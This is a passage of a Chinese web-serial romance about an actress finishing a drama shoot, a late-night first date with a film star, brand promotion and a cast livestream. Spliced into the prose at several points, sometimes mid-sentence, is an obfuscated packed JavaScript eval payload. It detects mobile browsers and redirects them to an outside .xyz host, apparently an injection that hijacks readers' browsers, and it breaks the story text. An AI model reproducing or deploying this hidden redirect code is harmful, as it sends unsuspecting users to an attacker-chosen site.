涂韵抓了抓毛躁的头发，心里面一万匹草泥马跑过。莫殊睡得比她晚，起得比她早，那不是完整听完了她睡觉的过程？也不知道……她晚上睡觉的时候有没有磨牙，或者说梦话…… 涂韵拿起手机，说道：“莫老师，谢谢你点的早餐。我起床啦，先挂啦！” 莫殊坐在餐桌前，慢腾腾地喝了口豆浆，“涂韵，你别睡醒就不认人了。喊我莫殊就行。” 什么睡醒不认人啊？说得这么有歧义！ 涂韵对着手机说了句“好的，莫殊”后，便赶紧起床开门，放小刘进来，还不忘从等了半小时的机器人的托盘里把早餐拿走。 小刘仔细一看，看见早餐外卖单上写着点餐人是“M”，好奇地问道：“韵姐，这M是谁啊？” 涂韵连忙心虚地一把捂住小刘的嘴，“我的姑奶奶，求求你小点声。” 18. 第18章 杀青日 从那通深夜的电话过后，涂韵和莫殊之前的交流就多了很多。 两人的对话框慢慢地从只有早晚的问好，变成了在忙碌的间隙里有来有往的聊天。 涂韵拍一场戏时，看见片场天边烧得通红的晚霞，立刻掏出手机拍下来发给莫殊，说道“今天的晚霞好美。” 莫殊会在凌晨收工后，发来一张隔着车窗拍的星空，回复：“今晚的星星也很亮，下次我们看更亮的星星。“ 涂韵吐槽今天要熬大夜拍夜戏，莫殊回一张书桌台灯照，说“那我今晚熬夜看剧本，陪你。” 莫殊也终于明白，其实真正的追女生并不需要什么有趣的梗，也不需要什么长篇大论的情话，每天的关心就会悄悄地织成了网，将涂韵的心紧紧地裹在里面。 今晚，摄影棚的灯还亮着几盏，像熬了三个月没合眼的星星，从夏天到初秋。 当导演喊“过”的瞬间，涂韵还有些恍惚。最后一句台词明明已经说完了，却好像还停留在舌尖不愿散去。 这是她的最后一场戏最后一个镜头了…… 片场突然静了两秒，接着不知是谁先鼓了掌，掌声就像潮水似的漫过来。 魏肖隔着老远喊：“涂韵，恭喜你杀青啦！”涂韵笑着朝她摆手。 “韵姐，看这边！”摄影组的小伙子举着相机，镜头对准她。 涂韵下意识地扬起笑，手指轻轻拂过耳后的绒毛，摆出小狐狸的造型。 化妆师小跑过来帮她卸脸上的妆，棉签擦过眼角的“泪痕”时，涂韵才发现自己是真的湿了眼眶。虽然这三个月里，有被导演骂过，被林婉婉针对过，可是回忆起来，首先映入脑海的还是魏肖大晚上的陪着她在片场对戏，剧本上满是密密麻麻的标注；导演对她一条过的赞赏；还有每次干饭时间，场记妹妹都会第一时间给她留一份热盒饭。 制片人朦朦姐拿着杀青红包走过来，拍了拍涂韵的肩膀，“涂韵，这三个多月辛苦你啦。果然没有看错人，感觉璃月这个角色跟着你都活过来了。” 涂韵低头看着红包，红包上还印着“烬染霜华”四个大字，一看就是定制的。 她突然想起收到朦朦姐电话的时候，她和苏小桃高兴地在地毯上打滚，嗨到吃火锅醉酒，还……删了莫殊，好像都还在昨天一样。 时间过得好快，一转眼就三个多月了。 “涂韵！这边！”熟悉的声音从片场入口传来，涂韵回头，就看见苏小桃走了过来。 秋天了，苏小桃终于脱下了她松松垮垮的大T恤，换了件黑色的大衣，正笑着看着她。 虽然苏小桃没有守在片场，但偶尔也过来探班，还经常发消息来关心她。 这么知性干练的苏小桃，还真是少见。估计也是用了心来见证她的杀青戏的。 涂韵哇呜一声，一把抱住苏小桃，“好久不见，小桃子。” “妈耶，可算杀青了。”苏小桃拍了拍涂韵的手，见有些凉，忙示意跟在身后的小刘，将椅子上的涂韵的外套拿来。 涂韵和苏小桃在片场跟导演、制片人一一打过招呼后，便进了化妆间准备离开。 在涂韵卸妆，换常服的时候，苏小桃靠在换衣间门上，说道：“我刚问了朦朦姐，男女主的戏份再拍一个星期就也杀青了。片子后期也得两三个月，到时我们还得顺一下播出前的宣传计划。朦朦姐和郭导都挺有信心的，咱们绝对能靠这戏火上一把。” 涂韵从更衣室里走出来，已经换上了件黑色卫衣和牛仔裤，“行，都听苏大经纪人的，你让我怎么宣传就怎么宣传。” 上车前，她还掏出手机，在剧组群里发了条消息：“谢谢大家陪‘璃月’走这一程，未来可期。” 发送成功的瞬间，手机就连续震了好几下。 魏肖说：“杀青快乐，下次再合作。” 郭导发了个大拇指，后面就全是在跟队形。 涂韵笑着将手机塞进口袋里，坐上了车。 苏小桃这次找了辆七人座的MPV，嗯……涂韵现在的咖位还没钱租房车呢。 司机在前面开车，涂韵和苏小桃坐在第二排，小刘坐在第三排，旁边还放着个白色大尾巴。那是涂韵说舍不得杀青的时候，道具组硬把她身上的狐狸尾巴拆下来，帮她扛上了车，说是留个纪念。 车窗外的片场渐渐远去，涂韵靠在椅背上，轻轻闭上眼。 黑色MPV刚驶出摄影棚产业园大门，就突然听见外面有人在喊“涂韵杀青快乐！” 她下意识抬头，视线透过车窗，瞬间被眼前的景象烫了一下。 大门两侧的人行道上，挤着数十个举着灯牌的粉丝，还有人举着她剧里角色的Q版手幅，“烬染霜华——璃月”几个大字特别的明显。 原来粉丝们知道今天杀青，是特意来等她的。 “涂韵来了”不知是谁先喊了一声，下一秒，更密集的欢呼就像潮水般涌来，“涂韵杀青快乐！”“辛苦啦韵韵！”“我们会一直等剧播出的！” 涂韵连忙让司机把车速放慢些，凑近车窗，指尖不自觉抵在冰凉的车窗上。 有几个面孔很熟悉，是经常出现在她活动现场的粉丝；还有些新面孔，激动地举着和手幅摇晃，希望让涂韵看见。 涂韵突然觉得很幸福，她明明只是在镜头前做了自己该做的事，却被这么多人放在心上。这或许也是她喜欢拍戏的其中一个原因。 这个念头刚冒出来，鼻尖就有些酸了。她把车窗摇下去了些，和他们说谢谢。 不少的粉丝将准备好的礼物都递过来，小刘在后座也把车窗打开，只收信不收礼物。 “你们回去的时候注意安全！”涂韵的喊声裹着风飘出来。 车子慢慢往前开，后视镜里的灯牌渐渐变成模糊的光点，涂韵却还盯着那个方向，她偷偷地拍了张照片发给莫殊。 苏小桃也有些感慨地说道：“这次是后援会组织的杀青应援活动，我中午过来的时候他们就在这了。我就买了奶茶，以你的名义都送给粉丝们了。” “谢谢苏大经纪人。”涂韵笑了笑，看见粉丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏小桃对涂韵喜欢莫殊的事情心知肚明，知道只要莫殊勾一勾手指，涂韵绝对就乖乖地跟过去了。这也没办法，毕竟是她喜欢了好多年的明星。 不过莫殊在业内口碑很好，敬业吃苦耐劳，洁身自好不乱搞男女关系，苏小桃还是比较放心的。 苏小桃又想起涂韵之前和她说，莫殊一直忘记不了青春时候喜欢过的女生。 这他们两要是真在一起了，这……可能会是存在在两个人中间的定时炸弹吧。 她能做的，也只能默默地祈祷涂韵不会受到伤害。 苏小桃在心里叹了口气，轻轻地推了推涂韵的胳膊，说道：“你和M干什么，我管不着。但是别让人爆出什么东西来，影响《烬染霜华》的宣传。” 因为《烬染霜华》的男主凌霄和女主杜灵儿，女二璃月都有感情对手戏，到时肯定会有一个宣传方向是男主女二的CP感，所以苏小桃担心也是情有可原。 涂韵含糊地嘟囔了句”知道啦“，便低下头飞快地打字。 苏小桃看着涂韵这副模样，只能无助扶额。 为什么她会有一种自己养大的女儿要被骗走了的感觉呢？ 19. 第19章 小约会 房间里的台灯还亮着暖黄的光，涂韵坐在书桌前，翻看着活动流程表。 因为《烬染霜华》快播了，平台和媒体都在赌这部剧会爆。苏小桃不负众望，努力了一把，给她争取到了一个东方茶饮的代言。 那茶饮还挺好喝的，涂韵有时候还会点他们家的外卖，所以知道拿下代言的时候，她还有些吃惊。 嗯……后天一点钟先去化妆间换礼服化妆，然后去展厅，到时会有一个小型的粉丝见面会。 三点钟进行拍摄，四到五点钟的时候有个媒体群访。表上已经列出了媒体大概会问些什么方向的问题。 涂韵边思考着边在纸上写写画画，到时可以将拍戏时对“东方韵味”的理解和茶饮品牌的理念相结合回答…… 偶尔会有晚归的汽车驶过，发出的轰鸣声惊得涂韵趴在窗上往楼下看去。 不知过了多久，放在桌上的手机突然震了一下，屏幕瞬间亮起来。 涂韵几乎是立刻抓起手机，看清屏幕上的内容后，连忙跳起来找口罩和帽子。 五分钟后，涂韵已经出现在小区楼下。 沪川这座大城市，白日里的喧嚣已经完全消散，只剩零星的车灯划出长串的光轨和风尘仆仆骑着电动车经过的打工人。晚上十一点的路灯，将柏油路浸成一片暖黄的溏心，一个黑色的人影站在小区门口，光将他的影子拉得又瘦又长。 是莫殊，他一只手插在大衣口袋里，另一只手提着一个保温袋，正低着头看着自己的鞋尖发呆。 突然，他听见哒哒哒的声音，抬头便看见一个裹得严严实实全副武装的身影朝他跑来。 涂韵裹得像个小球，跑起来的时候黑色羽绒服的衣角被风掀开，露出里面的粉色毛绒睡衣。 那一刻，莫殊的心就化了。 真可爱，莫殊心想，像一个草莓夹心的巧克力球。 涂韵在莫殊面前站定，还喘着粗气。她扶着膝盖，有些焦急地问道：“等很久了吗？我看到你消息就下来了。” 莫殊摇摇头，“没有，发消息给你的时候我也刚到。” 说完这句话，两个人就陷入了沉默。虽然这几个月两个人在网上聊得不亦乐乎，甚至昨天晚上十二点的时候还聊到不想说晚安，可真见到面的时候，两个人却沉默了下来。 莫殊他有好多想说的，可是见到涂韵之后，那些话好像就被夜色给揉软了，揉成了一团堵在喉咙里。 沉默了大概一分钟后，莫殊尴尬地呵呵笑了一声，把手里的保温袋往涂韵面前递，“之前不是和你说，李叔糖水店上新了吗？我特意让他留的，桃胶莲子鲜奶。” 递过去时，指尖不小心蹭到她的指节，两人都顿了一下，飞快地错开，却悄悄地红了耳尖。 隔着薄薄的保温袋，还能感觉到糖水的温度。糖水的分量很足，估计李叔是下了狠手往里面装的。她甚至看见莫殊的手心都被勒红了。 “谢谢你，”涂韵紧紧攥着保温袋的提手，声音比刚才轻了些，“其实你……昨天晚上你告诉我你要来沪川的时候，我在家里练了好多次跟你打招呼的方式，我怕我太紧张，见到面会说不出话。” 明明两个人又不是没有见过面，连综艺都一起拍过了，可是今天见面时的感觉，让涂韵觉得有些奇怪。 如果说之前见面的时候，她的心是紧张的扑通乱跳的，低着头不敢看莫殊的话；那今天见面的时候，她的心在乱跳的时候还有些痒痒的，她想大胆地抬头用目光仔细地描绘着他的脸，看他的细微表情，看他的瞳孔里是不是真的映出了她。 莫殊的耳尖有些发烫，眼里满是惊讶地看着涂韵，声音中却带着点不易察觉的雀跃，“其实……我也是。微信里跟你聊天的时候，总觉得有说不完的话，想把生活里遇到的所有事都告诉你。可是一想到要见你，就……有点慌。” 从莫殊探班那天起，两个人就活得像是网友一样，相隔着十万八千里，只能靠一个手机聊天。 莫殊其实早就想过要来见一下涂韵了，可是行程繁忙，这个城市飞那个城市跑得。即使不进组，也有各种活动、拍摄、采访需要参加。 他提过要不专程过来沪川一趟见个面吃个饭，可是涂韵总说没事的，工作重要，他们总会见到面的。 他想过，是不是聊再多的天，也只有他一个人这么渴望着见一面。 他今天来沪川，是陆泽刚好在这拍一部电影，临时问他要不要过来客串个小角色，他一口便答应了下来。 那小角色拢共也就不超过三句台词，他以为很快就会结束，可谁知硬是拖到了晚上十点多，害得和涂韵约好的晚饭也只能取消，改成匆匆见一面。 莫殊低下头，看着地上两人的影子被暖光拉得很长，交叠在一起。晚风将涂韵身上淡淡的柠檬味吹了过来，头发的倒影也随之摇曳。 他说，“其实我昨天晚上也翻来覆去地想了好多要跟你说的话，结果今天一见到你，我就全忘了。” 两个人就这样站着，贪婪地四目相对着，傻笑着。明明什么话都没有说，但又好像什么都说了。 “我们走一走吧。” “好。” 说是走一走，但其实只是在涂韵的小区里逛一逛。 草坪里是铺着青石板的，两人便一步一步地踩着往前走。因为昨晚刚下过一场雨，青石板缝里的草窜的老高，还带着露水，踩上一脚会发出“沙沙”的声音，湿了一整个鞋面。 明明小区都走过千八百遍了，可是涂韵每走一步却都带着雀跃。越往前走，身边人的气息便会越清晰一些，让她意识到这是真的。她不是在做梦，她真的在和莫殊一起散步。 在逛到第十圈的时候，小区里还亮着灯的人家都慢慢关了灯，只余路两边昏暗的路灯。周围突然变得安静了起来， 莫殊转头看向身边的涂韵，因为小区里基本上没人了，狗仔也不会在深夜莫名其妙地蹲点一个小艺人家，所以涂韵将口罩拉了下来。帽檐挡住了她的上半张脸，只余下半张小巧精致的脸，白的发光。 他不自觉地咽了口口水，然后抬头望向前方，“冷吗？” “嗯……有点。” 莫殊停下脚步， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490351|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替涂韵拉了拉外套的拉链，指尖碰到了她的脖颈，有些凉，“要不……回去吧？别着凉了。” 其实涂韵想说，她还能逛，她不怕冷，但一想到莫殊一大早就坐飞机来了沪川，又拍戏拍到晚上，一定很累了。她便只是点了点头。 两人又往前走，都不约而同的放慢了脚步。 但还是走到了涂韵楼下，入户门厅那暖黄的光落在两人身上，他们意识到要分别了。 莫殊看着涂韵，像是在斟酌字句：“其实，我今晚见到你，很开心。” 涂韵的心跳又快了起来，她能感觉到莫殊的目光落在她的头顶，她的脸颊，她的眼睛和唇上。那目光好似带着温度，将她的全身烫得厉害。 她低下头避开他的目光，小声地说：“我也是。” 莫殊笑了，眼睛弯成好看的弧度。 他往前一步，往她身边凑了凑，从口袋里拿出手机，“之前不是说好见面的时候，要一起自拍一个吗？” 啊，莫殊他……怎么还记得这回事啊？ “好。”涂韵的声音有点发飘，她脑子懵懵的，按照莫殊说的，往他那边挪了挪。在肩膀差0.05厘米就要碰到的时候，她赶紧停住，将帽子往上抬了抬，扬起脸有些羞涩地微笑地看着镜头。 莫殊他举着手机的手顿了一下，然后便听见轻轻“咔嗒”一声。 “很好看，”他把手机递到她面前。 屏幕里，两个人站在昏黄的灯光里笑着，轮廓处沾着光，夜色将他们的脸晕染的模糊了一些，只能微微看清五官。但……确实很好看。 那种好看，涂韵才疏学浅形容不出来。她只觉得，这张照片上，两个人陷入了一种不可言说的氛围感，而这种氛围感让她害羞和脸红。 “这张照片，我等会微信发给你”，莫殊顿了顿，语调都往上扬了，“毕竟这算……算我们俩的第一张自拍合照？” 涂韵轻轻咬了咬下唇，点了点头。 莫殊看着她乖巧的样子和被冻得有些微红的脸颊，又想起草莓夹心巧克力球了，让人忍不住想咬一口。 莫殊的喉结动了动，将手里提着的糖水递给涂韵，“快回家吧，很晚了。这个糖水要喝的话，记得得热一下。” “嗯。”涂韵往前走了几步，进了楼里。 等电梯的时候，她回头看了一眼，隔着透明的窗户看见莫殊还站在原地看着她。 她朝他挥了挥手，用嘴型说了“再见”两个字，便转身快步走进电梯里。 涂韵靠在冰冷的电梯里，摸了摸自己的脸颊，妈呀好烫。 她转身，傻乎乎地将脸颊贴在凉凉的电梯上，傻笑着。 今天算……算第一次小约会吗？ 她没有看见，在她转身一步一步地朝着楼里走去的时候，她的影子转了一个方向慢慢地缩短，变成一个点，然后再拉长着，打在莫殊的身上。 在她的背影即将从莫殊的身上彻底消失时，莫殊往前一步，追上她的背影，轻轻地亲了一口她的影子。 晚安，涂韵，祝你祝我今晚都有个好梦。 20. 第20章 CP感 茶饮品牌代言活动当天。 当涂韵穿着一身粉色旗袍走出化妆间时，展厅里的闪光灯已经亮了起来。 这场活动设置在了商场里，粉丝们已经里里外外地将展台围成了好几圈，简直水泄不通，闪光灯几乎没有停过。 涂韵笑着走向品牌展台，熟练地跟粉丝们打招呼，和媒体打招呼、介绍产品。 她刚好也很喜欢喝这个牌子的奶茶，所以回答媒体问题的时候，每一个回答都表现出非常了解这个品牌的样子，而且自然地把拍戏时对“东方韵味”的理解融入其中，引得台下的品牌方负责人频频点头。 考虑到新戏马上要播出了，她还顺便宣传了一下《烬染霜华》的播出时间，就在下周六。 苏小桃站在角落，看着涂韵从容的样子，悄悄松了口气。 涂韵平时看着又冲动又粗心的，但其实苏小桃知道涂韵有一颗敏感的心。这颗敏感的心让她面对工作的时候，永远都能做到最好。 无论是拍戏，还是采访，广告，涂韵都能很好地调节自己的状态，并产生共情，难怪粉丝们都说涂韵是上天追着喂饭的女明星。 一想到这里，苏小桃就感慨自己果然是慧眼识珠，一眼就发现这丫头适合进娱乐圈，把她“骗”回了国。 媒体采访结束后，涂韵披上大衣，便上了车。 坐进车里，苏小桃打开手提电脑，电脑桌面竟然是几个大字，“距离《烬染霜华》开播还有7天！” 涂韵的第一部戏是网剧的女主角，谁也没想到她能火。 第二部剧是名导演拍的职场剧，她演了一个小配角，谁也没想到她靠着这个角色拿了最佳新人奖。 第三部剧就是这部《烬染霜华》，多少人盯着的好饼啊，涂韵拿下了女二。苏小桃比涂韵本人更坚信涂韵的事业运很好，这部戏播出后绝对能升咖，到时拿下一个平台S或S+剧的女一号不是话下。 绝对不能让宣传拖了涂韵后腿，苏小桃特意和公司申请，这两个月将宣传成本多用在《烬染霜华》这部剧上。 苏小桃盯着电脑，手指在电脑触屏处边滑来滑去，边说道：“这几个月还是有本子递过来的，但是质量不高，我就没给你接，就给你弄了几个碎活，让你好好休息一下。” “等剧播出后，看看市场反响，我再帮你挑几个本子。” 涂韵点点头，应了声好，她在工作对接这方面是一点都不操心。 毕竟她和苏小桃认识十几年了，她相信苏小桃可以把她的工作安排得妥妥帖帖，既不会让她过度劳累，也不会浪费任何一个机会。 苏小桃见涂韵低着头玩手机，看起来像是在聊天，估计又是和那该死的M在聊天了。 涂韵这人藏不住事，她早就知道涂韵和莫殊这两个人的进度是突飞猛进。明明涂韵进组前，连个个人还删了好友，没想到杀青完已经到可以一起散步约会的地步了。 苏小桃咳嗽了一声，屁股往涂韵旁边挪了挪，将电脑屏幕往她膝盖上一放，和她对接下来的宣传内容：“今天你拍的这个茶饮品牌已经准备了璃月这个造型的Q版周边产品，有贴纸和杯套。等下周剧一开播，他们就会上线周边套餐，捆绑营销。” “宣传团队刚刚把花絮剪辑好了，已经发过来了，这周我会用工作室的号发布幕后花絮进行预热。三天后有一个媒体采访，你准备一下，到时会问拍摄《烬染霜华》时的经历，还有和其他演员的合作感受之类的。” “下周六剧开播，下下周六剧组会有个抖台连线直播，郭导应该和你说过吧？你把晚上六点到九点的时候都空出来，和其他演员一起连线直播，到时可以和粉丝实时互动，分享幕后故事什么的。” “你的粉丝后援会会长这边也已经联系过我了，到时会进行云包场活动，冲一波播放量。” 说了一大波话，苏小桃瞥了一眼涂韵，发现涂韵坐在一边盯着屏幕发呆一言不发的模样，“你听我说话了没？” “听了听了！”涂韵举起手，一条一条地将苏小桃刚刚说的计划重复了一遍。 苏小桃满意地点点头，问道：“基本上是这样，对了你还有什么意见或者想补充的吗？” “小桃！”涂韵拉起苏小桃的一条胳膊，撒起娇来，“最近我灵感大发，我又想写小说了。昨天激情码了第一章，已经发出去了。” 其实和莫殊重新加上微信以来，逐步有了点感情之后，涂韵就时不时地会点开自己的小说界面看一看，看着下面粉丝们夸莫殊和涂韵两个人好配的评论傻笑，仿佛又拥有了最开始她努力写文时候的幸福感。 前天晚上和莫殊见了一面之后，她更是创作欲大爆发，完全忘记了之前说过不想再写两个人故事的话，一个激情大开文，连夜怒码了三千字， 如果不是被安全带束缚着，苏小桃这个人都差点要跳了起来。她瞪大眼睛问道：“什么？你上次不是还说你不写了吗？你不会还写的是你和莫殊的同人文吧？” “嗯……”，涂韵有些不好意思地从口袋里摸出手机，点开绿江江平台，给苏小桃看完结文下面的留言和评论，“你看你看嘛……我和莫殊的综艺都播出几个月了，但是殊途同归cp粉们还是特别□□，一直在我下面要饭吃……我真的于心不忍了。苏小桃，你说，如果我不满足她们，还有谁能满足她们啊呜呜呜呜……” 涂韵假哭地抹了抹眼泪，见苏小桃不为所动，硬把手机往苏小桃手里塞，让她看下面嗷嗷待哺的读者们。 苏小桃哼了一声，接过，顿时瞳孔地震。 她发现几个月不见，这本小说从完结时的一千多收藏已经窜到了快三千多的收藏。随手一翻评论，不是说“磕到了”，就是问下一本文到底什么时候开。 以涂韵的忠实读者【用户0130】带头，不少粉丝都是死心不改，几乎隔一段时间就来问一次。 苏小桃在心里叹了口气，作为业内人士她又怎么会不明白，CP感就是一个非常玄学的东西。 两个人要是没有CP感，就算躺在一张床上，大家都会觉得他们只是兄弟。 有多少备受业内关注的好饼，男女主都是找了人气高咖位大的艺人来演，但因为没有CP感，都直接扑了。 而有CP感的两个人，即使什么都不干，就是站在一起呼吸，都会让人大呼磕到了。 而很不凑巧的是，涂韵和莫殊两个人就很有CP感。 之前他们两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏小桃吓得连忙用手捂住脸颊，“呸！你别亲我！留着亲你的M哥哥去吧！” “什么M哥哥啊！苏小桃你就是在笑我！” * “陈霖，你帮我把这些剧本都拒了吧。”莫殊将手里的一叠本子递给陈霖。 陈霖应了声好，随手翻了翻。 其实制片人发来的剧本几乎都不是完整版，完整版都得到正式开拍时，演员们才能读到。 但这些剧本尽管只是一些片段式的，但每一本莫殊也都认真读过，还在旁边标注了对人物的理解和剧情的可能走向。 他的第一部电视剧还是得好好选，他确认了这些剧本都不是他想拍的，才让陈霖都回掉。 “莫哥？这本也拒掉吗？虽说剧本高光可能更偏向于女主，但制片人特别诚心地说了，特别特别想让你演。”陈霖从里面抽出一本剧本，在莫殊面前扬了扬，小声地说道，“不仅拍摄时间短，片酬……还给的特别高呢……” 莫殊看了下封面上的名字，想起来这本剧本递过来好久了，只是他一直忘记回了。 这本就是那个已经定好女主是林婉婉的职场偶像小甜剧了。 他想起之前涂韵还问过他会不会接这部，可能……她听到了什么业内消息吧。 莫殊摇了摇头，假装没有听见陈霖报的高片酬，“帮我拒了吧，我不喜欢。” 她……也不喜欢。 21. 第21章 直播间 林婉婉正坐在化妆间里，举着手机不可置信地问道：“什么？伊姐，你是说莫殊他，拒绝了我？” 化妆师假装什么也没听见，举着散粉刷在林婉婉的脸上扫来扫去，定着T区的妆面。 听到电话那头肯定的回答之后，林婉婉皱起了眉头，”怎么会这样啊？伊姐，你没和他说拍一集给多少钱吗？“ 这个剧本其实写好很久了，霸道总裁爱上性感美艳女秘书，再参杂着一些职场打脸剧情，虽有点土但土到极致就会让人上头。 剧本里的的女主角完全是为林婉婉量身定制的，但一直没开拍的原因就是没找到合适的男主角。 咖位低但符合总裁气质的男明星，林婉婉嫌弃，怕抗不了剧自己还要拖飞机；有人气又火的男明星，都是听说过林婉婉事情多，不想也没必要合作的。 林婉婉听公司高层里说，金影奖影帝莫殊最近打算开始接电视剧了，连忙让相熟的制片人递本子过去。要是莫殊卖个人情进组开拍，到时就能搭上时代娱乐这条大船，还能拿到极高的片酬，见莫殊一直没有回绝，所以林婉婉以为这事十拿九稳了，完全没想过莫殊竟然会拒绝。 林婉婉烦躁地挂了电话，将手机扔到梳妆台上。 烦死了，她的海口都夸出去了。 她这一甩手，脸一歪，化妆师的唇刷就直接撞了上去。 红色的膏体直接溢出唇线，在林婉婉的下巴上扫出一条红线，就连门牙上都有个红印子。 化妆师脸都吓得煞白了，连声道歉：“对不起，婉婉姐……我不是故意的。” 她连忙拿卸妆棉和纸巾想给林婉婉擦，却被猛地一个打手，化妆桌上的东西也被林婉婉直接挥到了地上。眼影盘里的眼影块掉出来，碎了一地，在瓷砖上闪闪发光。名贵的大牌口红盖子都被崩掉了，膏体断成了两截。 林婉婉没好气地给化妆师翻了一个白眼：“你没长眼睛啊？你TM会不会干啊？不会干就别干了！” 化妆师倒吸一口凉气，捂着被打红的手臂，不敢吭一声。她看着地上的一片狼藉，眼睛里包着眼泪，强忍着才没落下来。 林婉婉的助理连忙迎上去，安慰林婉婉：“婉姐，别急，调整下情绪。马上采访就要开始了。” “采个屁的访，不想采了，帮我取消吧。”林婉婉烦闷地从包里掏出烟，点燃抽了起来，一张美艳的脸在烟雾缭绕中变得模糊可憎。 香烟的味道融入空气里，在狭小的化妆间里弥漫着，有些呛人。 《烬染霜华》已经开播两天了，才放了前四集，成绩就已经相当亮眼。今天的这场采访也是用来宣传《烬染霜华》的。 可是因为女主杜灵儿是个成长型角色，所以前四集她还在药王谷里采药，懵懂纯粹，才刚和男主凌霄有过几面之缘。 而此时的璃月已经和凌霄相识相熟了，所以网上女二璃月的讨论度比女主杜灵儿还要高一些。 一想起网上的评论，林婉婉就更烦了，甚至还有人说要是把女主换成涂韵来演就更好了。 林婉婉在心里又骂了几句，真是没一件事顺心的。 听到林婉婉的话，助理也差点要急哭了。她知道林婉婉的大小姐脾气，做事随心所欲的没考虑后果。万一她心情要是不好了，说不干就是不干，得罪了不少合作方和媒体。 助理就差给林婉婉跪下了，“婉姐，别啊。这行程早就定好了，记者都在路上了，粉丝们都跟进进行宣传了。这个节骨眼了，我怎么给取消啊。” “婉姐，求求你了，你就去随便说两句也好啊。” 林婉婉翘着二郎腿，红色的高跟鞋挂在脚上欲掉不掉。 她缓缓地吐出一个眼圈，“你怎么处理我不管，我说了，我——不——想——去。” * 《烬染霜华》开播第七天，已经是平台电视剧收视第一了。基本上刷每一个社交平台，都能看到粉丝们的自发宣传，连剧里的各种花絮都被刷爆了。 晚上五点五十六分，涂韵坐在家里，准备连线直播。 因为家里面贴满了莫殊的海报，放了很多莫殊的相关周边，所以这次直播，涂韵还临时搭了一个背景。她坐在沙发上，沙发后面的背景墙换成了《烬染霜华》三个主角的Q版形象KT板，明显是用过心的。 虽然现在抖台很火，但涂韵还是第一次进行直播。她紧张地对着镜子练习了好久的表情管理，生怕在直播中出半点差错。 晚上五点五十九分，涂韵准时点了开播。 “哈喽哈喽！能听到声音吗？”涂韵对着手机屏幕挥了挥手，黑色的长直发柔顺地垂在肩头，衬得她肤色像上好的羊脂玉。镜头里她只化了层薄妆，豆沙色口红刚好提亮气色，身上套了件米白色的针织衫。 涂韵表面上一脸轻松，可其实另一只手的指尖紧张地攥着衣角，可谁知刚进直播间，弹幕就瞬间被“韵韵子好绝”“璃月小狐狸本狸吧”的评论刷满。 在粉丝的连环彩虹屁中，涂韵才放松了一些，温温柔柔地说道：“看到你们啦，你们刷太快啦，我眼睛都要跟不上了。” “对的，等下魏肖哥和婉婉姐都会来连线的，咱们今天有剧宣，会分享很多拍戏时侯的趣事，我们还会和大家一起云看剧，大家可以期待一下哦。” 说到这里，涂韵在心里悄悄松了口气。幸好是连线直播，比独自面对镜头轻松多了。 话音刚落，连线就申请弹了出来，魏肖的脸出现在屏幕右侧。 他穿着件黑色毛衣，头发梳得整齐，虽然神色看着有些疲惫，但一双眼睛还是明亮又清澈，脸上挂着温和的笑意。 他问道：“刚结束拍摄就赶过来了，应该没迟到吧？”说完，他低头看了下手表，“刚好六点，看来我还是很准时的。” 见弹幕一直在问拍什么，涂韵解释道：“魏肖老师刚拍完《烬染霜华》就又进组拍一个现代剧了，应该很快也能和大家见面了。这里就不说是什么剧了，大家感兴趣的可以自己去搜一下哦。” 魏肖笑了笑，目光落在涂韵的脸上，“你怎么知道的这么清楚啊？” “我当然知道啊”，涂韵眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林婉婉：“这里面是凌霄哥哥的佩剑，和剧里面的花纹是一样的哦。我准备了十把，就当做给粉丝们的福利吧。” 说完，林婉婉还特意斜着眼问涂韵：“涂韵，你觉得我选的这礼物怎么样？” 弹幕纷纷在刷着“婉婉大气”，“灵儿送礼物都是送凌霄哥哥的东西哎~”，“灵儿凌霄双灵组合好好磕”…… 涂韵心里头有些不舒服，那天林婉婉故意用剑划破她的手臂那场戏，就是……用的凌霄的剑。但她的面上却不能露出来，只能顺着话茬点头夸道：“挺好看的，大家肯定喜欢。” 魏肖见到盒子里的剑的时候，也楞了一下，然后才笑道：“刚好今天的十三、十四集已经播出了，我们一起和观众们云看剧吧。看完剧之后，我们再进行抽奖。” 随后负责播放剧的工作人员也进入了直播间，申请连线。不知道工作人员怎么操作的，仙侠剧就已经进行了投屏，四个视频框在屏幕上拼成一个四方形，左上角的视频框播放的正是才刚刚播出的第13集，ID为“电视剧-烬染霜华”。 涂韵手指一点，将投屏的视频框点到了最大。其实播出之后，她也只是看了一些切片视频，也没完整地追过。趁着这个机会，刚好一起看一下，涂韵随手抓起了桌上的薯片。 22. 第22章 云看剧 开头便是片头曲，工作人员想着快进跳过，没想到弹幕纷纷都说别跳别跳，这剧好看到连开头都不想跳过。 涂韵特意将脸凑近镜头，看见粉丝们的弹幕，笑着应道：“对的，不是绿幕抠图。刚刚片头曲里出现的所有场景都是实景搭的。” 一分半的片头曲过后，便开始播放起了第13集的内容，屏幕上直接就是仙门大混战。各种法术、剑法、光效满天飞。 涂韵看了几分钟，才反应过来，这集好像播的就是魏肖扮演的凌霄被迫参与围剿狐族的那段。 